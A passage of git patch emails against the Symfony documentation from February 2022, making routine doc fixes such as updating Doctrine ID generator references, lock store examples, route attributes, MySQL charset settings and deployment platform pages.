 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 5f07b8d4dcd..e6f68f376fa 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -172,7 +172,6 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Component\Uid\Uuid;
 
     class User implements UserInterface
@@ -181,7 +180,7 @@ entity primary keys::
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidGenerator::class)
+         * @ORM\CustomIdGenerator(class="doctrine.uuid_generator")
          */
         private $id;
 
@@ -345,7 +344,6 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Component\Uid\Ulid;
 
     class Product
@@ -354,7 +352,7 @@ entity primary keys::
          * @ORM\Id
          * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UlidGenerator::class)
+         * @ORM\CustomIdGenerator(class="doctrine.ulid_generator")
          */
         private $id;
 

From 5f291498345b697d5db4c1b7d4fde6215748f837 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Feb 2022 20:18:36 +0100
Subject: [PATCH 1673/5766] Minor tweak

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index cecb4dbe654..3d4151d35bf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -710,7 +710,7 @@ Clear cache by tag(s):
 
 .. versionadded:: 6.1
 
-    The ``cache:pool:invalidate-tags`` command was added in Symfony 6.1.
+    The ``cache:pool:invalidate-tags`` command was introduced in Symfony 6.1.
 
 .. code-block:: terminal
 

From 9829b13dbfb36b194583f957bde0a5c4c02d85d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sat, 12 Feb 2022 19:03:35 +0100
Subject: [PATCH 1674/5766] [Lock] Fix code example for Doctrine based stores

---
 components/lock.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 0d00885b9c2..6660b9c9965 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -507,11 +507,11 @@ The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStor
 but requires a `Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store
 does not support blocking, and expects a TTL to avoid stalled locks::
 
-    use Symfony\Component\Lock\Store\PdoStore;
+    use Symfony\Component\Lock\Store\DoctrineDbalStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    // a Doctrine DBAL connection or DSN
     $connectionOrURL = 'mysql://myuser:mypassword@127.0.0.1/app';
-    $store = new PdoStore($connectionOrURL);
+    $store = new DoctrineDbalStore($connectionOrURL);
 
 .. note::
 
@@ -566,11 +566,11 @@ The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
 It is identical to PostgreSqlStore but requires a `Doctrine DBAL Connection`_ or
 a `Doctrine DBAL URL`_. It supports native blocking, as well as sharing locks::
 
-    use Symfony\Component\Lock\Store\PostgreSqlStore;
+    use Symfony\Component\Lock\Store\DoctrineDbalPostgreSqlStore;
 
-    // a PDO instance or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
-    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
+    // a Doctrine Connection or DSN
+    $databaseConnectionOrDSN = 'postgresql+advisory://myuser:mypassword@127.0.0.1:5634/lock';
+    $store = new DoctrineDbalPostgreSqlStore($databaseConnectionOrDSN);
 
 In opposite to the ``DoctrineDbalStore``, the ``DoctrineDbalPostgreSqlStore`` does not need a table to
 store locks and does not expire.

From 17aa593d23a6b31ef22b92dd16b2a7888d727052 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Sun, 13 Feb 2022 09:30:01 +0100
Subject: [PATCH 1675/5766] Update event_dispatcher.rst

AddEventAliasesPass and RegisterListenersPass constructors were removed in 6.0
---
 components/event_dispatcher.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 04cb8422d79..0cb9eb87074 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -254,13 +254,11 @@ determine which instance is passed.
 
         Note that ``AddEventAliasesPass`` has to be processed before ``RegisterListenersPass``.
 
-    By default, the listeners pass assumes that the event dispatcher's service
+    The listeners pass assumes that the event dispatcher's service
     id is ``event_dispatcher``, that event listeners are tagged with the
     ``kernel.event_listener`` tag, that event subscribers are tagged
     with the ``kernel.event_subscriber`` tag and that the alias mapping is
-    stored as parameter ``event_dispatcher.event_aliases``. You can change these
-    default values by passing custom values to the constructors of
-    ``RegisterListenersPass`` and ``AddEventAliasesPass``.
+    stored as parameter ``event_dispatcher.event_aliases``.
 
 .. _event_dispatcher-closures-as-listeners:
 

From e3f19205edfb65be4ee0b0276ad2b8d6a7d71ea3 Mon Sep 17 00:00:00 2001
From: Gabriel Solomon <hello@gabrielsolomon.ro>
Date: Sun, 13 Feb 2022 22:24:46 +0200
Subject: [PATCH 1676/5766] Remove reference to PHP Templates in translation

---
 translation.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/translation.rst b/translation.rst
index d32a85b0290..6c18cf3e6f0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -437,16 +437,6 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
     Note that this only influences the current template, not any "included"
     template (in order to avoid side effects).
 
-PHP Templates
-~~~~~~~~~~~~~
-
-The translator service is accessible in PHP templates through the
-``translator`` helper:
-
-.. code-block:: html+php
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
 Forcing the Translator Locale
 -----------------------------
 

From 85470c59fdee80982eeb4760808e0376d3ecbe69 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 13 Feb 2022 21:23:03 +0100
Subject: [PATCH 1677/5766] Update create_form_type_extension.rst

Hello,
I think the condition `image_url is not null` is not enough as if we create a FileType form field without the `image_property` it causes an error. Adding `image_url is defined` is necessary  because the variable `image_url` is only defined and passed to the view when `image_property` is already defined.
---
 form/create_form_type_extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9bb0abc2d8e..9e0066d7be8 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -192,7 +192,7 @@ Specifically, you need to override the ``file_widget`` block:
 
     {% block file_widget %}
         {{ block('form_widget') }}
-        {% if image_url is not null %}
+        {% if image_url is defined and image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
     {% endblock %}

From 76013cac4e3b7e7feb69975a50cf638c6341138b Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Tue, 15 Feb 2022 15:41:51 -0500
Subject: [PATCH 1678/5766] Use `path` instead of `url` in SSI documentation

By using `url` SSI tags will include the host which is likely to not work as, unlike ESI, SSI is meant to be used at the webserver level which most of the time only handles SSI as paths.
---
 http_cache/ssi.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index c206a730812..79fbcf93162 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -22,7 +22,7 @@ The SSI instructions are done via HTML comments:
             <!-- ... some content -->
 
             <!-- Embed the content of another page here -->
-            <!--#include virtual="http://..." -->
+            <!--#include virtual="/..." -->
 
             <!-- ... more content -->
         </body>
@@ -117,8 +117,8 @@ The profile index page has not public caching, but the GDPR block has
     {# you can use a controller reference #}
     {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }}
 
-    {# ... or a URL #}
-    {{ render_ssi(url('profile_gdpr')) }}
+    {# ... or a path #}
+    {{ render_ssi(path('profile_gdpr')) }}
 
 The ``render_ssi`` twig helper will generate something like:
 

From 4f5845bde259ad62c3347e3f3c07f05c9e785b87 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Wed, 16 Feb 2022 10:31:50 +0100
Subject: [PATCH 1679/5766] Recommend a better charset for MySQL

UTF8 is meant to be used when using PostgreSQL, and the example is
mainly about MySQL.

In the case of MySQL, utf8 is a deprecated charset and should not be
used.
---
 reference/configuration/doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 3d2435e73a0..fc85ef8f341 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -62,7 +62,7 @@ The following block shows all possible configuration keys:
                 unix_socket:          /tmp/mysql.sock
                 # the DBAL wrapperClass option
                 wrapper_class:        App\DBAL\MyConnectionWrapper
-                charset:              UTF8
+                charset:              utf8mb4
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
                 server_version:       '5.7'
@@ -96,7 +96,7 @@ The following block shows all possible configuration keys:
                     memory="true"
                     unix-socket="/tmp/mysql.sock"
                     wrapper-class="App\DBAL\MyConnectionWrapper"
-                    charset="UTF8"
+                    charset="utf8mb4"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
                     server-version="5.7">

From bcbf1f3a19278dae881cfd084c89554ccd3260b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Vasseur?= <jerome.vasseur@thetribe.io>
Date: Wed, 16 Feb 2022 17:02:57 +0100
Subject: [PATCH 1680/5766] Add documentation for the env DI expresion function

---
 service_container/expression_language.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..09443b05c08 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -73,12 +73,14 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
 
-In this context, you have access to 2 functions:
+In this context, you have access to 3 functions:
 
 ``service``
     Returns a given service (see the example above).
 ``parameter``
     Returns a specific parameter value (syntax is like ``service``).
+``env``
+    Returns the value of an env variable.
 
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:

From eaa7f027e53988a3153ece0a4142f9d65ceb1188 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 17 Feb 2022 18:12:48 +0100
Subject: [PATCH 1681/5766] Update route from annotation to attribute

---
 notifier.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 1fb68b6416c..25a2ee442fb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -479,9 +479,7 @@ To send a notification, autowire the
 
     class InvoiceController extends AbstractController
     {
-        /**
-         * @Route("/invoice/create")
-         */
+        #[Route('/invoice/create')]
         public function create(NotifierInterface $notifier)
         {
             // ...
@@ -613,9 +611,7 @@ sent using the Slack transport::
     // ...
     class InvoiceController extends AbstractController
     {
-        /**
-         * @Route("/invoice/create")
-         */
+        #[Route('/invoice/create')]
         public function invoice(NotifierInterface $notifier)
         {
             // ...

From 9dc01ff28ad215d3f1cdbb9ae4586568877e4cd9 Mon Sep 17 00:00:00 2001
From: Louis-Marie GABORIT <lm.gabo@gmail.com>
Date: Thu, 17 Feb 2022 19:12:49 +0100
Subject: [PATCH 1682/5766] firewall option replace with allowedHosts

---
 frontend/encore/virtual-machine.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 23010b9f169..04f3c16b1f1 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -96,7 +96,7 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, set the ``firewall`` option:
+the dev-server. To fix this, set the ``allowedHosts`` option:
 
 .. code-block:: javascript
 
@@ -107,16 +107,15 @@ the dev-server. To fix this, set the ``firewall`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.firewall = false;
+            options.allowedHosts = all;
         })
 
 .. caution::
 
-    Beware that `it's not recommended to disable the firewall`_ in general, but
-    here it's required to solve the issue when using Encore in a virtual machine.
+    Beware that `it's not recommended to set allowedHosts to all`_. Read the dedicated doc to select the value for your environment.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to set allowedHosts to all`: https://webpack.js.org/configuration/dev-server/#devserverallowedhosts

From 96df4160fc11dbe003eebb48a7dfbb6a45d4e538 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 18 Feb 2022 14:05:02 +0100
Subject: [PATCH 1683/5766] Update _ux-libraries.rst.inc

---
 frontend/_ux-libraries.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 3355d4926e4..c88b6b623ef 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,18 +1,18 @@
 * `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
+* `ux-swup`_: Integration with Swup
 * `ux-chartjs`_: Easy charts with Chart.js
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
 * `ux-cropperjs`_: Form Type and tools for cropping images
 * `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
-* `ux-swup`_: Integration with Swup
 
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
 .. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
 .. _`Turbo Drive`: https://turbo.hotwired.dev/

From 69776b15c67e8719cd03dedd8e374ecaf6b44b74 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 18 Feb 2022 16:34:23 +0100
Subject: [PATCH 1684/5766] remove reference to not existing YAML dumper flag

---
 components/yaml.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 763051ad6d1..ba6c0849db2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -341,15 +341,14 @@ syntax to parse them as proper PHP constants::
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can dump binary data by using the ``DUMP_BASE64_BINARY_DATA`` flag::
+Non UTF-8 encoded strings are dumped as base64 encoded data::
 
     $imageContents = file_get_contents(__DIR__.'/images/logo.png');
 
-    $dumped = Yaml::dump(['logo' => $imageContents], 2, 4, Yaml::DUMP_BASE64_BINARY_DATA);
+    $dumped = Yaml::dump(['logo' => $imageContents]);
     // logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY...
 
-Binary data is automatically parsed if they include the ``!!binary`` YAML tag
-(there's no need to pass any flag to the Yaml parser)::
+Binary data is automatically parsed if they include the ``!!binary`` YAML tag::
 
     $dumped = 'logo: !!binary iVBORw0KGgoAAAANSUhEUgAAA6oAAADqCAY...';
     $parsed = Yaml::parse($dumped);

From ac13f6e4e5b4397152e9d072861f10e9ab916a66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 16:50:04 +0100
Subject: [PATCH 1685/5766] Minor tweak

---
 http_cache/ssi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 79fbcf93162..38f77027acd 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -117,7 +117,7 @@ The profile index page has not public caching, but the GDPR block has
     {# you can use a controller reference #}
     {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }}
 
-    {# ... or a path #}
+    {# ... or a path (in server's SSI configuration is common to use relative paths instead of absolute URLs) #}
     {{ render_ssi(path('profile_gdpr')) }}
 
 The ``render_ssi`` twig helper will generate something like:

From 20367902b88bf1ba168c6f7ce051f82df94a0e18 Mon Sep 17 00:00:00 2001
From: AymDev <aymericmayeux@gmail.com>
Date: Thu, 17 Feb 2022 15:20:32 +0100
Subject: [PATCH 1686/5766] Fix broken link to DoctrineReceiver in Messenger

Updates the FQCN for DoctrineReceiver as the class moved in a Bridge namespace after Symfony 6.0
---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index ae15b15bbeb..e496fcf6263 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -127,7 +127,7 @@ Here is a simplified example of a database transport::
 The implementation above is not runnable code but illustrates how a
 :class:`Symfony\\Component\\Messenger\\Transport\\TransportInterface` could
 be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemoryTransport`
-and :class:`Symfony\\Component\\Messenger\\Transport\\Doctrine\\DoctrineReceiver`.
+and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\DoctrineReceiver`.
 
 Register your Factory
 ---------------------

From 9a13511af8f439a7116914414ec9b5da5d71cfb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 17:08:08 +0100
Subject: [PATCH 1687/5766] Minor tweak

---
 frontend/encore/virtual-machine.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 04f3c16b1f1..793a74e3d40 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -112,7 +112,8 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
 
 .. caution::
 
-    Beware that `it's not recommended to set allowedHosts to all`_. Read the dedicated doc to select the value for your environment.
+    Beware that `it's not recommended to set allowedHosts to all`_ in general, but
+    here it's required to solve the issue when using Encore in a virtual machine.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com

From de6814751aaa30aad1b1badea4dce39bfd0d753f Mon Sep 17 00:00:00 2001
From: runephilosof-abtion
 <57357936+runephilosof-abtion@users.noreply.github.com>
Date: Tue, 8 Feb 2022 15:24:32 +0100
Subject: [PATCH 1688/5766] [Config] Suggest avoiding new environments

---
 configuration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f76a2aa09aa..3d93ba7d57d 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -464,6 +464,10 @@ going to production:
     It's common for environments to be similar to each other, so you can
     use `symbolic links`_ between ``config/packages/<environment-name>/``
     directories to reuse the same configuration.
+    
+    There are benefits to separating configuration from code. So try to avoid
+    creating new environments and instead set environment variables.
+    This way it is easy to add another environment for staging/qa/review applications.
 
 .. _config-env-vars:
 

From 70cab868acd611dbe6637006eed77d90be647136 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Feb 2022 17:43:46 +0100
Subject: [PATCH 1689/5766] Reword

---
 configuration.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 3d93ba7d57d..358fb903de2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -464,10 +464,12 @@ going to production:
     It's common for environments to be similar to each other, so you can
     use `symbolic links`_ between ``config/packages/<environment-name>/``
     directories to reuse the same configuration.
-    
-    There are benefits to separating configuration from code. So try to avoid
-    creating new environments and instead set environment variables.
-    This way it is easy to add another environment for staging/qa/review applications.
+
+Instead of creating new environments, you can use environment variables as
+explained in the following section. This way you can use the same application
+and environment (e.g. ``prod``) but change its behavior thanks to the
+configuration based on environment variables (e.g. to run the application in
+different scenarios: staging, quality assurance, client review, etc.)
 
 .. _config-env-vars:
 

From e66b990a14f58fdeef1ed66bd6f744f84ae3a9ac Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 19 Feb 2022 22:11:24 +0100
Subject: [PATCH 1690/5766] Update route from annotation to attribute

---
 mailer.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8a27f222d4d..ef99bb86138 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -345,9 +345,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
     class MailerController extends AbstractController
     {
-        /**
-         * @Route("/email")
-         */
+        #[Route('/email')]
         public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())

From 2d6fa201748355e1ec1b9cb204bbb33c7fd61d25 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 20 Feb 2022 11:25:41 +0100
Subject: [PATCH 1691/5766] Update README.markdown

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 2139c1599ac..0544eb9db19 100644
--- a/README.markdown
+++ b/README.markdown
@@ -23,7 +23,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------

From 1632524ecc06b20b19590640e3e545225f5ec2b2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 21 Feb 2022 15:30:15 +0100
Subject: [PATCH 1692/5766] Remove usage of SymfonyCloud in favor of
 Platform.sh

---
 _build/redirection_map        |  5 -----
 _build/spelling_word_list.txt |  1 -
 deployment.rst                | 18 +++---------------
 deployment/azure-website.rst  | 12 ------------
 deployment/fortrabbit.rst     | 12 ------------
 deployment/heroku.rst         | 12 ------------
 deployment/platformsh.rst     | 12 ------------
 7 files changed, 3 insertions(+), 69 deletions(-)
 delete mode 100644 deployment/azure-website.rst
 delete mode 100644 deployment/fortrabbit.rst
 delete mode 100644 deployment/heroku.rst
 delete mode 100644 deployment/platformsh.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index bd708c379d4..f0b726e546f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -132,11 +132,6 @@
 /cookbook/controller/upload_file /controller/upload_file
 /cookbook/debugging /
 /debug/debugging /
-/cookbook/deployment/azure-website /cookbook/azure-website
-/cookbook/deployment/fortrabbit /deployment/fortrabbit
-/cookbook/deployment/heroku /deployment/heroku
-/cookbook/deployment/index /deployment
-/cookbook/deployment/platformsh /deployment/platformsh
 /cookbook/deployment/tools /deployment/tools
 /cookbook/doctrine/common_extensions /doctrine/common_extensions
 /cookbook/doctrine/console /doctrine
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
index 3b1d630fa11..70240ceb6d1 100644
--- a/_build/spelling_word_list.txt
+++ b/_build/spelling_word_list.txt
@@ -113,7 +113,6 @@ filesystem
 filesystems
 formatter
 formatters
-fortrabbit
 frontend
 getter
 getters
diff --git a/deployment.rst b/deployment.rst
index 2e0f222cae1..47d8c4ef418 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -64,15 +64,8 @@ Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using a Platform as a Service (PaaS) can be a great way to deploy your Symfony
-app quickly. There are many PaaS - below are a few that work well with Symfony:
-
-* `Symfony Cloud`_
-* `Heroku`_
-* `Platform.sh`_
-* `Azure`_
-* `fortrabbit`_
-* `Clever Cloud`_
-* `Scalingo`_
+app quickly. There are many PaaS, but we recommend `Platform.sh`_ as it
+provides a dedicated Symfony integration and help fund the Symfony development.
 
 Using Build Scripts and other Tools
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -275,12 +268,7 @@ Learn More
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
 .. _`Deployer`: https://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
-.. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
-.. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
-.. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
+.. _`Platform.sh`: https://symfony.com/cloud
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
-.. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
-.. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
 .. _`Symfony CLI`: https://symfony.com/download
diff --git a/deployment/azure-website.rst b/deployment/azure-website.rst
deleted file mode 100644
index 15361b9e416..00000000000
--- a/deployment/azure-website.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Microsoft Azure Website Cloud
-
-Deploying to Microsoft Azure
-============================
-
-If you want information about deploying to Azure, see their official documentation:
-`Create your PHP web application on Azure`_
-
-.. _`Create your PHP web application on Azure`: https://azure.microsoft.com/en-us/develop/php/
diff --git a/deployment/fortrabbit.rst b/deployment/fortrabbit.rst
deleted file mode 100644
index d2aedab9598..00000000000
--- a/deployment/fortrabbit.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to fortrabbit.com
-
-Deploying to fortrabbit
-=======================
-
-For details on deploying to fortrabbit, see their official documentation:
-`Install Symfony`_
-
-.. _`Install Symfony`: https://help.fortrabbit.com/install-symfony-5-uni
diff --git a/deployment/heroku.rst b/deployment/heroku.rst
deleted file mode 100644
index 1a2b416d8f0..00000000000
--- a/deployment/heroku.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Heroku Cloud
-
-Deploying to Heroku
-===================
-
-To deploy to Heroku, see their official documentation:
-`Deploying Symfony 4 & 5 Applications on Heroku`_.
-
-.. _`Deploying Symfony 4 & 5 Applications on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
diff --git a/deployment/platformsh.rst b/deployment/platformsh.rst
deleted file mode 100644
index c124da18674..00000000000
--- a/deployment/platformsh.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Platform.sh
-
-Deploying to Platform.sh
-========================
-
-To deploy to Platform.sh, see their official documentation:
-`Symfony Platform.sh Documentation`_.
-
-.. _`Symfony Platform.sh Documentation`: https://docs.platform.sh/frameworks/symfony.html

From 2ebec3bf1a75d1572e405b63215faa01a137be31 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 20 Feb 2022 11:40:50 +0100
Subject: [PATCH 1693/5766] Update filesystem.rst

Hello,

According to the `getLongestCommonBasePath` signature, the method accepts a variadic string parameter $paths and not an array. It means when calling the `Path::getLongestCommonBasePath` with an array, a `TypeError` occurs.
I think even the PHPDoc of the `Path::getLongestCommonBasePath` should be updated too as it is mentionned that it can accept an array argument.
---
 components/filesystem.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index e60e0b389af..091c42c5df3 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -438,15 +438,13 @@ Especially when storing many paths, the amount of duplicated information is
 noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
 to check a list of paths for a common base path::
 
-    $paths = [
+    Path::getLongestCommonBasePath(
